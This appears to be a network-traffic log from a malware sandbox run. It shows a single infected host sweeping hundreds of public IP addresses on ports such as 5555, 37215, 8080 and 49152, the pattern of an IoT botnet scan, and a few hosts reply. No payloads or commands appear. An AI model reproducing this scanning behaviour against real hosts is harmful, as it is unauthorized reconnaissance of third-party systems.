Feb 12, 2023 21:25:02.971134901 CET	22272	5555	192.168.2.23	81.240.155.31
Feb 12, 2023 21:25:02.971134901 CET	22272	5555	192.168.2.23	138.96.72.228
Feb 12, 2023 21:25:02.971134901 CET	22272	5555	192.168.2.23	171.105.250.77
Feb 12, 2023 21:25:02.971134901 CET	22272	5555	192.168.2.23	125.97.214.168
Feb 12, 2023 21:25:02.971134901 CET	22272	5555	192.168.2.23	53.230.249.60
Feb 12, 2023 21:25:02.971134901 CET	22272	5555	192.168.2.23	207.57.252.152
Feb 12, 2023 21:25:02.971134901 CET	22272	5555	192.168.2.23	54.70.38.198
Feb 12, 2023 21:25:02.971236944 CET	22272	5555	192.168.2.23	177.77.178.40
Feb 12, 2023 21:25:02.971236944 CET	22272	5555	192.168.2.23	128.104.87.44
Feb 12, 2023 21:25:02.971236944 CET	22272	5555	192.168.2.23	209.221.139.43
Feb 12, 2023 21:25:02.971236944 CET	22272	5555	192.168.2.23	4.28.62.148
Feb 12, 2023 21:25:02.971236944 CET	22272	5555	192.168.2.23	144.21.251.224
Feb 12, 2023 21:25:02.971236944 CET	22272	5555	192.168.2.23	185.104.95.241
Feb 12, 2023 21:25:02.971237898 CET	22272	5555	192.168.2.23	32.213.208.171
Feb 12, 2023 21:25:02.971237898 CET	22272	5555	192.168.2.23	151.82.25.44
Feb 12, 2023 21:25:02.971326113 CET	22272	5555	192.168.2.23	158.118.6.250
Feb 12, 2023 21:25:02.971326113 CET	22272	5555	192.168.2.23	4.134.49.11
Feb 12, 2023 21:25:02.971326113 CET	22272	5555	192.168.2.23	77.60.35.143
Feb 12, 2023 21:25:02.971326113 CET	22272	5555	192.168.2.23	157.193.88.194
Feb 12, 2023 21:25:02.971326113 CET	22272	5555	192.168.2.23	196.17.12.187
Feb 12, 2023 21:25:02.971327066 CET	22272	5555	192.168.2.23	27.224.29.119
Feb 12, 2023 21:25:02.991060019 CET	44002	8080	192.168.2.23	51.54.46.49
Feb 12, 2023 21:25:02.991066933 CET	52696	8080	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:02.991060972 CET	41030	8080	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:02.991066933 CET	52314	8080	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:02.991072893 CET	41102	8080	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:02.991072893 CET	38402	8080	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:03.017016888 CET	5555	22272	31.186.32.66	192.168.2.23
Feb 12, 2023 21:25:03.023116112 CET	36330	8080	192.168.2.23	50.49.52.46
Feb 12, 2023 21:25:03.023130894 CET	50632	8080	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:03.023179054 CET	55594	8080	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:03.055042982 CET	43318	80	192.168.2.23	51.56.46.49
Feb 12, 2023 21:25:03.055077076 CET	52022	8080	192.168.2.23	49.56.54.46
Feb 12, 2023 21:25:03.087146997 CET	40324	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:25:03.233397007 CET	52981	37215	192.168.2.23	187.219.27.164
Feb 12, 2023 21:25:03.233473063 CET	52981	37215	192.168.2.23	157.91.41.125
Feb 12, 2023 21:25:03.233508110 CET	52981	37215	192.168.2.23	222.253.137.38
Feb 12, 2023 21:25:03.233552933 CET	52981	37215	192.168.2.23	157.147.86.200
Feb 12, 2023 21:25:03.233556032 CET	52981	37215	192.168.2.23	41.236.26.84
Feb 12, 2023 21:25:03.233561993 CET	52981	37215	192.168.2.23	157.189.162.4
Feb 12, 2023 21:25:03.233561993 CET	52981	37215	192.168.2.23	76.254.14.76
Feb 12, 2023 21:25:03.233603001 CET	52981	37215	192.168.2.23	41.82.29.36
Feb 12, 2023 21:25:03.233603001 CET	52981	37215	192.168.2.23	197.53.160.29
Feb 12, 2023 21:25:03.233644962 CET	52981	37215	192.168.2.23	41.27.55.202
Feb 12, 2023 21:25:03.233680010 CET	52981	37215	192.168.2.23	27.155.135.57
Feb 12, 2023 21:25:03.233684063 CET	52981	37215	192.168.2.23	197.75.50.31
Feb 12, 2023 21:25:03.233725071 CET	52981	37215	192.168.2.23	157.124.53.114
Feb 12, 2023 21:25:03.233757019 CET	52981	37215	192.168.2.23	157.133.96.108
Feb 12, 2023 21:25:03.233803034 CET	52981	37215	192.168.2.23	41.183.110.77
Feb 12, 2023 21:25:03.233803034 CET	52981	37215	192.168.2.23	197.201.123.97
Feb 12, 2023 21:25:03.233828068 CET	52981	37215	192.168.2.23	197.246.130.179
Feb 12, 2023 21:25:03.233834982 CET	52981	37215	192.168.2.23	151.85.252.22
Feb 12, 2023 21:25:03.233879089 CET	52981	37215	192.168.2.23	197.238.192.65
Feb 12, 2023 21:25:03.233901978 CET	52981	37215	192.168.2.23	41.108.61.46
Feb 12, 2023 21:25:03.233922005 CET	52981	37215	192.168.2.23	41.61.196.59
Feb 12, 2023 21:25:03.233962059 CET	52981	37215	192.168.2.23	220.64.217.66
Feb 12, 2023 21:25:03.233962059 CET	52981	37215	192.168.2.23	157.26.69.164
Feb 12, 2023 21:25:03.233983994 CET	52981	37215	192.168.2.23	92.96.232.24
Feb 12, 2023 21:25:03.234008074 CET	52981	37215	192.168.2.23	41.214.197.47
Feb 12, 2023 21:25:03.234016895 CET	52981	37215	192.168.2.23	197.223.14.237
Feb 12, 2023 21:25:03.233908892 CET	52981	37215	192.168.2.23	197.155.56.25
Feb 12, 2023 21:25:03.234076023 CET	52981	37215	192.168.2.23	41.86.248.131
Feb 12, 2023 21:25:03.234112978 CET	52981	37215	192.168.2.23	18.230.178.107
Feb 12, 2023 21:25:03.234117985 CET	52981	37215	192.168.2.23	32.88.65.135
Feb 12, 2023 21:25:03.234117985 CET	52981	37215	192.168.2.23	197.40.180.11
Feb 12, 2023 21:25:03.234127045 CET	52981	37215	192.168.2.23	197.74.76.33
Feb 12, 2023 21:25:03.234164000 CET	52981	37215	192.168.2.23	157.40.255.98
Feb 12, 2023 21:25:03.234164953 CET	52981	37215	192.168.2.23	137.130.86.115
Feb 12, 2023 21:25:03.234188080 CET	52981	37215	192.168.2.23	197.213.176.82
Feb 12, 2023 21:25:03.234200001 CET	52981	37215	192.168.2.23	182.52.120.197
Feb 12, 2023 21:25:03.234216928 CET	52981	37215	192.168.2.23	167.139.149.6
Feb 12, 2023 21:25:03.234250069 CET	52981	37215	192.168.2.23	41.40.231.174
Feb 12, 2023 21:25:03.234303951 CET	52981	37215	192.168.2.23	157.10.159.141
Feb 12, 2023 21:25:03.234303951 CET	52981	37215	192.168.2.23	197.220.140.193
Feb 12, 2023 21:25:03.234316111 CET	52981	37215	192.168.2.23	41.208.78.229
Feb 12, 2023 21:25:03.234319925 CET	52981	37215	192.168.2.23	187.44.99.103
Feb 12, 2023 21:25:03.234337091 CET	52981	37215	192.168.2.23	197.130.84.92
Feb 12, 2023 21:25:03.234370947 CET	52981	37215	192.168.2.23	197.103.227.131
Feb 12, 2023 21:25:03.234375954 CET	52981	37215	192.168.2.23	41.1.186.19
Feb 12, 2023 21:25:03.234395981 CET	52981	37215	192.168.2.23	157.63.165.41
Feb 12, 2023 21:25:03.234416962 CET	52981	37215	192.168.2.23	197.149.16.102
Feb 12, 2023 21:25:03.234472990 CET	52981	37215	192.168.2.23	41.199.170.3
Feb 12, 2023 21:25:03.234476089 CET	52981	37215	192.168.2.23	41.189.232.70
Feb 12, 2023 21:25:03.234483957 CET	52981	37215	192.168.2.23	197.63.148.35
Feb 12, 2023 21:25:03.234534979 CET	52981	37215	192.168.2.23	41.202.139.168
Feb 12, 2023 21:25:03.234545946 CET	52981	37215	192.168.2.23	157.147.16.209
Feb 12, 2023 21:25:03.234546900 CET	52981	37215	192.168.2.23	157.252.112.69
Feb 12, 2023 21:25:03.234545946 CET	52981	37215	192.168.2.23	197.121.223.68
Feb 12, 2023 21:25:03.234549046 CET	52981	37215	192.168.2.23	41.155.142.17
Feb 12, 2023 21:25:03.234545946 CET	52981	37215	192.168.2.23	193.127.5.114
Feb 12, 2023 21:25:03.234556913 CET	52981	37215	192.168.2.23	50.242.137.172
Feb 12, 2023 21:25:03.234591961 CET	52981	37215	192.168.2.23	197.200.48.78
Feb 12, 2023 21:25:03.234616041 CET	52981	37215	192.168.2.23	157.53.143.140
Feb 12, 2023 21:25:03.234648943 CET	52981	37215	192.168.2.23	207.107.91.203
Feb 12, 2023 21:25:03.234674931 CET	52981	37215	192.168.2.23	197.251.194.237
Feb 12, 2023 21:25:03.234733105 CET	52981	37215	192.168.2.23	157.108.70.172
Feb 12, 2023 21:25:03.234734058 CET	52981	37215	192.168.2.23	157.29.197.82
Feb 12, 2023 21:25:03.234767914 CET	52981	37215	192.168.2.23	157.139.113.86
Feb 12, 2023 21:25:03.234805107 CET	52981	37215	192.168.2.23	84.186.225.87
Feb 12, 2023 21:25:03.234808922 CET	52981	37215	192.168.2.23	41.143.89.26
Feb 12, 2023 21:25:03.234832048 CET	52981	37215	192.168.2.23	41.221.167.212
Feb 12, 2023 21:25:03.234849930 CET	52981	37215	192.168.2.23	41.129.109.84
Feb 12, 2023 21:25:03.234884977 CET	52981	37215	192.168.2.23	41.115.189.12
Feb 12, 2023 21:25:03.234977961 CET	52981	37215	192.168.2.23	9.31.216.26
Feb 12, 2023 21:25:03.234991074 CET	52981	37215	192.168.2.23	197.49.219.55
Feb 12, 2023 21:25:03.234977007 CET	52981	37215	192.168.2.23	41.229.217.232
Feb 12, 2023 21:25:03.235025883 CET	52981	37215	192.168.2.23	187.88.235.251
Feb 12, 2023 21:25:03.235061884 CET	52981	37215	192.168.2.23	41.71.101.96
Feb 12, 2023 21:25:03.235078096 CET	52981	37215	192.168.2.23	157.89.177.111
Feb 12, 2023 21:25:03.235085964 CET	52981	37215	192.168.2.23	197.129.194.33
Feb 12, 2023 21:25:03.235115051 CET	52981	37215	192.168.2.23	157.14.51.91
Feb 12, 2023 21:25:03.235137939 CET	52981	37215	192.168.2.23	222.159.75.214
Feb 12, 2023 21:25:03.235167980 CET	52981	37215	192.168.2.23	157.28.77.5
Feb 12, 2023 21:25:03.235155106 CET	52981	37215	192.168.2.23	148.56.181.29
Feb 12, 2023 21:25:03.235219955 CET	52981	37215	192.168.2.23	197.121.13.74
Feb 12, 2023 21:25:03.235219955 CET	52981	37215	192.168.2.23	41.55.119.193
Feb 12, 2023 21:25:03.235224962 CET	52981	37215	192.168.2.23	104.159.48.208
Feb 12, 2023 21:25:03.235224962 CET	52981	37215	192.168.2.23	197.137.241.69
Feb 12, 2023 21:25:03.235271931 CET	52981	37215	192.168.2.23	157.171.26.168
Feb 12, 2023 21:25:03.235281944 CET	52981	37215	192.168.2.23	48.92.220.51
Feb 12, 2023 21:25:03.235311985 CET	52981	37215	192.168.2.23	113.223.133.205
Feb 12, 2023 21:25:03.235344887 CET	52981	37215	192.168.2.23	197.81.14.252
Feb 12, 2023 21:25:03.235372066 CET	52981	37215	192.168.2.23	197.122.78.111
Feb 12, 2023 21:25:03.235392094 CET	52981	37215	192.168.2.23	75.171.235.215
Feb 12, 2023 21:25:03.235416889 CET	52981	37215	192.168.2.23	157.223.46.36
Feb 12, 2023 21:25:03.235466957 CET	52981	37215	192.168.2.23	130.220.90.134
Feb 12, 2023 21:25:03.235480070 CET	52981	37215	192.168.2.23	197.255.111.251
Feb 12, 2023 21:25:03.235490084 CET	52981	37215	192.168.2.23	197.80.252.148
Feb 12, 2023 21:25:03.235495090 CET	52981	37215	192.168.2.23	157.255.151.182
Feb 12, 2023 21:25:03.235521078 CET	52981	37215	192.168.2.23	197.132.125.57
Feb 12, 2023 21:25:03.235533953 CET	52981	37215	192.168.2.23	41.221.223.151
Feb 12, 2023 21:25:03.235574007 CET	52981	37215	192.168.2.23	157.211.56.62
Feb 12, 2023 21:25:03.235605955 CET	52981	37215	192.168.2.23	157.92.102.145
Feb 12, 2023 21:25:03.235613108 CET	52981	37215	192.168.2.23	157.32.216.35
Feb 12, 2023 21:25:03.235614061 CET	52981	37215	192.168.2.23	41.32.39.106
Feb 12, 2023 21:25:03.235618114 CET	52981	37215	192.168.2.23	101.193.161.204
Feb 12, 2023 21:25:03.235667944 CET	52981	37215	192.168.2.23	157.99.89.14
Feb 12, 2023 21:25:03.235678911 CET	52981	37215	192.168.2.23	41.190.36.44
Feb 12, 2023 21:25:03.235709906 CET	52981	37215	192.168.2.23	213.235.81.169
Feb 12, 2023 21:25:03.235729933 CET	52981	37215	192.168.2.23	157.88.157.87
Feb 12, 2023 21:25:03.235758066 CET	52981	37215	192.168.2.23	131.27.51.245
Feb 12, 2023 21:25:03.235758066 CET	52981	37215	192.168.2.23	41.209.105.135
Feb 12, 2023 21:25:03.235788107 CET	52981	37215	192.168.2.23	157.190.205.160
Feb 12, 2023 21:25:03.235829115 CET	52981	37215	192.168.2.23	47.175.231.38
Feb 12, 2023 21:25:03.235877037 CET	52981	37215	192.168.2.23	197.170.83.123
Feb 12, 2023 21:25:03.235882998 CET	52981	37215	192.168.2.23	157.128.99.70
Feb 12, 2023 21:25:03.235882998 CET	52981	37215	192.168.2.23	41.152.50.176
Feb 12, 2023 21:25:03.235884905 CET	52981	37215	192.168.2.23	157.75.51.130
Feb 12, 2023 21:25:03.235884905 CET	52981	37215	192.168.2.23	157.215.128.2
Feb 12, 2023 21:25:03.235893965 CET	52981	37215	192.168.2.23	70.138.106.180
Feb 12, 2023 21:25:03.235898018 CET	52981	37215	192.168.2.23	41.56.88.198
Feb 12, 2023 21:25:03.235901117 CET	52981	37215	192.168.2.23	25.121.189.18
Feb 12, 2023 21:25:03.235901117 CET	52981	37215	192.168.2.23	157.3.91.205
Feb 12, 2023 21:25:03.235901117 CET	52981	37215	192.168.2.23	41.9.126.119
Feb 12, 2023 21:25:03.235914946 CET	52981	37215	192.168.2.23	157.41.107.187
Feb 12, 2023 21:25:03.235927105 CET	52981	37215	192.168.2.23	197.196.121.208
Feb 12, 2023 21:25:03.235963106 CET	52981	37215	192.168.2.23	197.43.142.192
Feb 12, 2023 21:25:03.235980034 CET	52981	37215	192.168.2.23	41.231.88.176
Feb 12, 2023 21:25:03.236038923 CET	52981	37215	192.168.2.23	177.207.139.199
Feb 12, 2023 21:25:03.236042023 CET	52981	37215	192.168.2.23	197.149.128.153
Feb 12, 2023 21:25:03.236047029 CET	52981	37215	192.168.2.23	157.36.67.251
Feb 12, 2023 21:25:03.236047983 CET	52981	37215	192.168.2.23	41.53.232.122
Feb 12, 2023 21:25:03.236063957 CET	52981	37215	192.168.2.23	60.154.60.32
Feb 12, 2023 21:25:03.236094952 CET	52981	37215	192.168.2.23	153.90.194.149
Feb 12, 2023 21:25:03.236125946 CET	52981	37215	192.168.2.23	197.0.186.188
Feb 12, 2023 21:25:03.236145973 CET	52981	37215	192.168.2.23	97.71.207.66
Feb 12, 2023 21:25:03.236166000 CET	52981	37215	192.168.2.23	157.13.89.95
Feb 12, 2023 21:25:03.236190081 CET	52981	37215	192.168.2.23	157.94.190.150
Feb 12, 2023 21:25:03.236205101 CET	52981	37215	192.168.2.23	149.98.186.79
Feb 12, 2023 21:25:03.236233950 CET	52981	37215	192.168.2.23	158.125.85.126
Feb 12, 2023 21:25:03.236259937 CET	52981	37215	192.168.2.23	176.115.192.196
Feb 12, 2023 21:25:03.236284971 CET	52981	37215	192.168.2.23	157.66.240.162
Feb 12, 2023 21:25:03.236295938 CET	52981	37215	192.168.2.23	197.59.10.211
Feb 12, 2023 21:25:03.236325026 CET	52981	37215	192.168.2.23	41.175.91.182
Feb 12, 2023 21:25:03.236339092 CET	52981	37215	192.168.2.23	197.212.5.214
Feb 12, 2023 21:25:03.236351967 CET	52981	37215	192.168.2.23	157.163.97.188
Feb 12, 2023 21:25:03.236383915 CET	52981	37215	192.168.2.23	41.187.246.10
Feb 12, 2023 21:25:03.236406088 CET	52981	37215	192.168.2.23	41.170.215.39
Feb 12, 2023 21:25:03.236434937 CET	52981	37215	192.168.2.23	157.118.196.148
Feb 12, 2023 21:25:03.236460924 CET	52981	37215	192.168.2.23	157.164.208.213
Feb 12, 2023 21:25:03.236474037 CET	52981	37215	192.168.2.23	197.72.2.117
Feb 12, 2023 21:25:03.236490011 CET	52981	37215	192.168.2.23	36.255.58.118
Feb 12, 2023 21:25:03.236512899 CET	52981	37215	192.168.2.23	174.206.112.142
Feb 12, 2023 21:25:03.236532927 CET	52981	37215	192.168.2.23	191.243.103.52
Feb 12, 2023 21:25:03.236558914 CET	52981	37215	192.168.2.23	41.134.123.130
Feb 12, 2023 21:25:03.236576080 CET	52981	37215	192.168.2.23	197.55.172.136
Feb 12, 2023 21:25:03.236613035 CET	52981	37215	192.168.2.23	197.40.21.251
Feb 12, 2023 21:25:03.236632109 CET	52981	37215	192.168.2.23	157.71.41.27
Feb 12, 2023 21:25:03.236639977 CET	52981	37215	192.168.2.23	157.177.6.77
Feb 12, 2023 21:25:03.236679077 CET	52981	37215	192.168.2.23	157.63.31.198
Feb 12, 2023 21:25:03.236686945 CET	5555	22272	49.146.244.226	192.168.2.23
Feb 12, 2023 21:25:03.236706018 CET	52981	37215	192.168.2.23	197.149.254.123
Feb 12, 2023 21:25:03.236723900 CET	52981	37215	192.168.2.23	157.107.106.222
Feb 12, 2023 21:25:03.236790895 CET	52981	37215	192.168.2.23	164.140.74.194
Feb 12, 2023 21:25:03.236803055 CET	52981	37215	192.168.2.23	197.64.146.132
Feb 12, 2023 21:25:03.236834049 CET	52981	37215	192.168.2.23	41.9.172.195
Feb 12, 2023 21:25:03.236867905 CET	52981	37215	192.168.2.23	197.86.167.194
Feb 12, 2023 21:25:03.236882925 CET	52981	37215	192.168.2.23	197.54.58.250
Feb 12, 2023 21:25:03.236907005 CET	52981	37215	192.168.2.23	41.83.150.131
Feb 12, 2023 21:25:03.236943960 CET	52981	37215	192.168.2.23	91.245.176.94
Feb 12, 2023 21:25:03.236969948 CET	52981	37215	192.168.2.23	197.202.107.150
Feb 12, 2023 21:25:03.236985922 CET	52981	37215	192.168.2.23	208.106.61.179
Feb 12, 2023 21:25:03.237030983 CET	52981	37215	192.168.2.23	41.117.204.213
Feb 12, 2023 21:25:03.237039089 CET	52981	37215	192.168.2.23	41.41.42.91
Feb 12, 2023 21:25:03.237071991 CET	52981	37215	192.168.2.23	136.182.140.132
Feb 12, 2023 21:25:03.237097979 CET	52981	37215	192.168.2.23	41.212.231.57
Feb 12, 2023 21:25:03.237128019 CET	52981	37215	192.168.2.23	197.150.155.180
Feb 12, 2023 21:25:03.237164021 CET	52981	37215	192.168.2.23	79.146.125.96
Feb 12, 2023 21:25:03.237195015 CET	52981	37215	192.168.2.23	174.146.70.85
Feb 12, 2023 21:25:03.237207890 CET	52981	37215	192.168.2.23	157.67.206.249
Feb 12, 2023 21:25:03.237225056 CET	52981	37215	192.168.2.23	197.141.119.80
Feb 12, 2023 21:25:03.237241983 CET	52981	37215	192.168.2.23	41.243.140.226
Feb 12, 2023 21:25:03.237274885 CET	52981	37215	192.168.2.23	197.11.144.132
Feb 12, 2023 21:25:03.237317085 CET	52981	37215	192.168.2.23	197.39.147.131
Feb 12, 2023 21:25:03.237380981 CET	52981	37215	192.168.2.23	102.215.124.60
Feb 12, 2023 21:25:03.237381935 CET	52981	37215	192.168.2.23	41.237.26.73
Feb 12, 2023 21:25:03.237381935 CET	52981	37215	192.168.2.23	41.5.88.119
Feb 12, 2023 21:25:03.237421989 CET	52981	37215	192.168.2.23	206.245.129.248
Feb 12, 2023 21:25:03.237440109 CET	52981	37215	192.168.2.23	157.249.85.11
Feb 12, 2023 21:25:03.237468958 CET	52981	37215	192.168.2.23	41.30.61.128
Feb 12, 2023 21:25:03.237521887 CET	52981	37215	192.168.2.23	157.220.47.191
Feb 12, 2023 21:25:03.237524033 CET	52981	37215	192.168.2.23	41.110.34.223
Feb 12, 2023 21:25:03.237559080 CET	52981	37215	192.168.2.23	157.34.244.251
Feb 12, 2023 21:25:03.237582922 CET	52981	37215	192.168.2.23	197.11.37.108
Feb 12, 2023 21:25:03.237627029 CET	52981	37215	192.168.2.23	1.155.107.59
Feb 12, 2023 21:25:03.237647057 CET	52981	37215	192.168.2.23	150.240.127.12
Feb 12, 2023 21:25:03.237664938 CET	52981	37215	192.168.2.23	41.81.131.199
Feb 12, 2023 21:25:03.237690926 CET	52981	37215	192.168.2.23	197.255.52.121
Feb 12, 2023 21:25:03.237723112 CET	52981	37215	192.168.2.23	197.24.38.87
Feb 12, 2023 21:25:03.237735033 CET	52981	37215	192.168.2.23	197.176.111.64
Feb 12, 2023 21:25:03.237771988 CET	52981	37215	192.168.2.23	41.159.24.160
Feb 12, 2023 21:25:03.237807035 CET	52981	37215	192.168.2.23	41.89.60.154
Feb 12, 2023 21:25:03.237860918 CET	52981	37215	192.168.2.23	157.134.102.30
Feb 12, 2023 21:25:03.237879038 CET	52981	37215	192.168.2.23	41.224.37.170
Feb 12, 2023 21:25:03.237940073 CET	52981	37215	192.168.2.23	185.26.215.104
Feb 12, 2023 21:25:03.237958908 CET	52981	37215	192.168.2.23	197.55.231.118
Feb 12, 2023 21:25:03.237991095 CET	52981	37215	192.168.2.23	77.229.233.191
Feb 12, 2023 21:25:03.237993002 CET	52981	37215	192.168.2.23	157.148.75.168
Feb 12, 2023 21:25:03.238078117 CET	52981	37215	192.168.2.23	41.84.226.88
Feb 12, 2023 21:25:03.238094091 CET	52981	37215	192.168.2.23	197.44.238.196
Feb 12, 2023 21:25:03.238127947 CET	52981	37215	192.168.2.23	197.1.172.10
Feb 12, 2023 21:25:03.238135099 CET	52981	37215	192.168.2.23	157.122.198.218
Feb 12, 2023 21:25:03.238166094 CET	52981	37215	192.168.2.23	157.249.231.156
Feb 12, 2023 21:25:03.238188982 CET	52981	37215	192.168.2.23	197.155.251.226
Feb 12, 2023 21:25:03.238204002 CET	52981	37215	192.168.2.23	197.83.5.80
Feb 12, 2023 21:25:03.238219023 CET	52981	37215	192.168.2.23	40.241.209.135
Feb 12, 2023 21:25:03.238251925 CET	52981	37215	192.168.2.23	197.97.42.33
Feb 12, 2023 21:25:03.238275051 CET	52981	37215	192.168.2.23	157.114.14.30
Feb 12, 2023 21:25:03.238306046 CET	52981	37215	192.168.2.23	157.73.49.243
Feb 12, 2023 21:25:03.238337994 CET	52981	37215	192.168.2.23	157.119.107.169
Feb 12, 2023 21:25:03.238357067 CET	52981	37215	192.168.2.23	197.11.148.117
Feb 12, 2023 21:25:03.238367081 CET	52981	37215	192.168.2.23	157.41.96.115
Feb 12, 2023 21:25:03.238401890 CET	52981	37215	192.168.2.23	197.180.236.51
Feb 12, 2023 21:25:03.238418102 CET	52981	37215	192.168.2.23	197.135.56.193
Feb 12, 2023 21:25:03.238434076 CET	52981	37215	192.168.2.23	157.7.153.216
Feb 12, 2023 21:25:03.238461018 CET	52981	37215	192.168.2.23	157.215.117.179
Feb 12, 2023 21:25:03.238492966 CET	52981	37215	192.168.2.23	157.183.214.127
Feb 12, 2023 21:25:03.238521099 CET	52981	37215	192.168.2.23	197.63.125.140
Feb 12, 2023 21:25:03.238548994 CET	52981	37215	192.168.2.23	157.108.252.95
Feb 12, 2023 21:25:03.238573074 CET	52981	37215	192.168.2.23	197.8.241.217
Feb 12, 2023 21:25:03.238626003 CET	52981	37215	192.168.2.23	157.208.74.130
Feb 12, 2023 21:25:03.238641977 CET	52981	37215	192.168.2.23	116.2.134.195
Feb 12, 2023 21:25:03.238658905 CET	52981	37215	192.168.2.23	41.218.92.186
Feb 12, 2023 21:25:03.238665104 CET	52981	37215	192.168.2.23	197.215.224.13
Feb 12, 2023 21:25:03.238730907 CET	52981	37215	192.168.2.23	197.215.178.23
Feb 12, 2023 21:25:03.238730907 CET	52981	37215	192.168.2.23	41.221.45.189
Feb 12, 2023 21:25:03.238790035 CET	52981	37215	192.168.2.23	41.92.155.230
Feb 12, 2023 21:25:03.238811016 CET	52981	37215	192.168.2.23	197.91.97.116
Feb 12, 2023 21:25:03.238858938 CET	52981	37215	192.168.2.23	41.239.101.214
Feb 12, 2023 21:25:03.238878965 CET	52981	37215	192.168.2.23	197.255.38.26
Feb 12, 2023 21:25:03.238899946 CET	52981	37215	192.168.2.23	41.77.86.125
Feb 12, 2023 21:25:03.239022970 CET	52981	37215	192.168.2.23	41.145.7.149
Feb 12, 2023 21:25:03.239037037 CET	52981	37215	192.168.2.23	41.75.116.139
Feb 12, 2023 21:25:03.239044905 CET	52981	37215	192.168.2.23	159.189.205.241
Feb 12, 2023 21:25:03.239044905 CET	52981	37215	192.168.2.23	41.132.121.209
Feb 12, 2023 21:25:03.239044905 CET	52981	37215	192.168.2.23	197.77.160.55
Feb 12, 2023 21:25:03.239090919 CET	52981	37215	192.168.2.23	157.195.183.67
Feb 12, 2023 21:25:03.239115000 CET	52981	37215	192.168.2.23	41.230.39.45
Feb 12, 2023 21:25:03.239130974 CET	52981	37215	192.168.2.23	47.23.108.175
Feb 12, 2023 21:25:03.239172935 CET	52981	37215	192.168.2.23	197.64.235.116
Feb 12, 2023 21:25:03.239188910 CET	52981	37215	192.168.2.23	157.136.153.137
Feb 12, 2023 21:25:03.239192009 CET	52981	37215	192.168.2.23	157.19.54.9
Feb 12, 2023 21:25:03.239196062 CET	52981	37215	192.168.2.23	157.253.130.3
Feb 12, 2023 21:25:03.239216089 CET	52981	37215	192.168.2.23	208.228.85.13
Feb 12, 2023 21:25:03.239247084 CET	52981	37215	192.168.2.23	41.85.176.203
Feb 12, 2023 21:25:03.239263058 CET	52981	37215	192.168.2.23	41.185.82.141
Feb 12, 2023 21:25:03.239269018 CET	52981	37215	192.168.2.23	157.142.140.67
Feb 12, 2023 21:25:03.239355087 CET	52984	37215	192.168.2.23	41.193.241.46
Feb 12, 2023 21:25:03.239394903 CET	36534	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:03.239955902 CET	52981	37215	192.168.2.23	17.211.194.125
Feb 12, 2023 21:25:03.239955902 CET	52981	37215	192.168.2.23	197.56.163.11
Feb 12, 2023 21:25:03.239955902 CET	52981	37215	192.168.2.23	41.141.230.95
Feb 12, 2023 21:25:03.239955902 CET	52981	37215	192.168.2.23	197.12.56.224
Feb 12, 2023 21:25:03.248406887 CET	36012	81	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:03.274499893 CET	37215	52984	41.193.241.46	192.168.2.23
Feb 12, 2023 21:25:03.274709940 CET	52984	37215	192.168.2.23	41.193.241.46
Feb 12, 2023 21:25:03.274883986 CET	52984	37215	192.168.2.23	41.193.241.46
Feb 12, 2023 21:25:03.274883986 CET	52984	37215	192.168.2.23	41.193.241.46
Feb 12, 2023 21:25:03.305454016 CET	37215	36534	197.194.138.33	192.168.2.23
Feb 12, 2023 21:25:03.305597067 CET	36534	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:03.305649042 CET	37215	52984	41.193.241.46	192.168.2.23
Feb 12, 2023 21:25:03.305669069 CET	37215	52984	41.193.241.46	192.168.2.23
Feb 12, 2023 21:25:03.305707932 CET	36534	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:03.305780888 CET	36534	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:03.308980942 CET	37215	52981	79.146.125.96	192.168.2.23
Feb 12, 2023 21:25:03.331665993 CET	37215	52981	197.39.147.131	192.168.2.23
Feb 12, 2023 21:25:03.342983007 CET	55428	37215	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:03.342993975 CET	56480	5555	192.168.2.23	50.50.48.46
Feb 12, 2023 21:25:03.343019009 CET	45276	37215	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:03.343019962 CET	39938	37215	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:03.343028069 CET	55084	37215	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:03.343054056 CET	58866	37215	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:03.343067884 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:25:03.374991894 CET	36540	49152	192.168.2.23	51.56.46.49
Feb 12, 2023 21:25:03.398125887 CET	37215	52981	97.71.207.66	192.168.2.23
Feb 12, 2023 21:25:03.463418961 CET	37215	52981	197.129.194.33	192.168.2.23
Feb 12, 2023 21:25:03.483926058 CET	37215	52981	157.119.107.169	192.168.2.23
Feb 12, 2023 21:25:03.514317989 CET	37215	52981	157.14.51.91	192.168.2.23
Feb 12, 2023 21:25:03.551728010 CET	60822	80	192.168.2.23	52.46.56.46
Feb 12, 2023 21:25:03.599066019 CET	36534	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:03.663012981 CET	33246	8080	192.168.2.23	56.54.46.52
Feb 12, 2023 21:25:03.663012981 CET	45354	7574	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:03.854284048 CET	38202	49152	192.168.2.23	52.46.56.46
Feb 12, 2023 21:25:03.935322046 CET	37215	52984	41.193.241.46	192.168.2.23
Feb 12, 2023 21:25:03.951153994 CET	43308	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:03.971313000 CET	22272	5555	192.168.2.23	159.84.223.10
Feb 12, 2023 21:25:03.971338034 CET	22272	5555	192.168.2.23	218.11.158.95
Feb 12, 2023 21:25:03.971338034 CET	22272	5555	192.168.2.23	2.20.198.215
Feb 12, 2023 21:25:03.971338034 CET	22272	5555	192.168.2.23	199.27.175.88
Feb 12, 2023 21:25:03.971350908 CET	22272	5555	192.168.2.23	81.89.62.202
Feb 12, 2023 21:25:03.971349955 CET	22272	5555	192.168.2.23	119.154.138.195
Feb 12, 2023 21:25:03.971349955 CET	22272	5555	192.168.2.23	197.2.240.80
Feb 12, 2023 21:25:03.971376896 CET	22272	5555	192.168.2.23	79.189.151.79
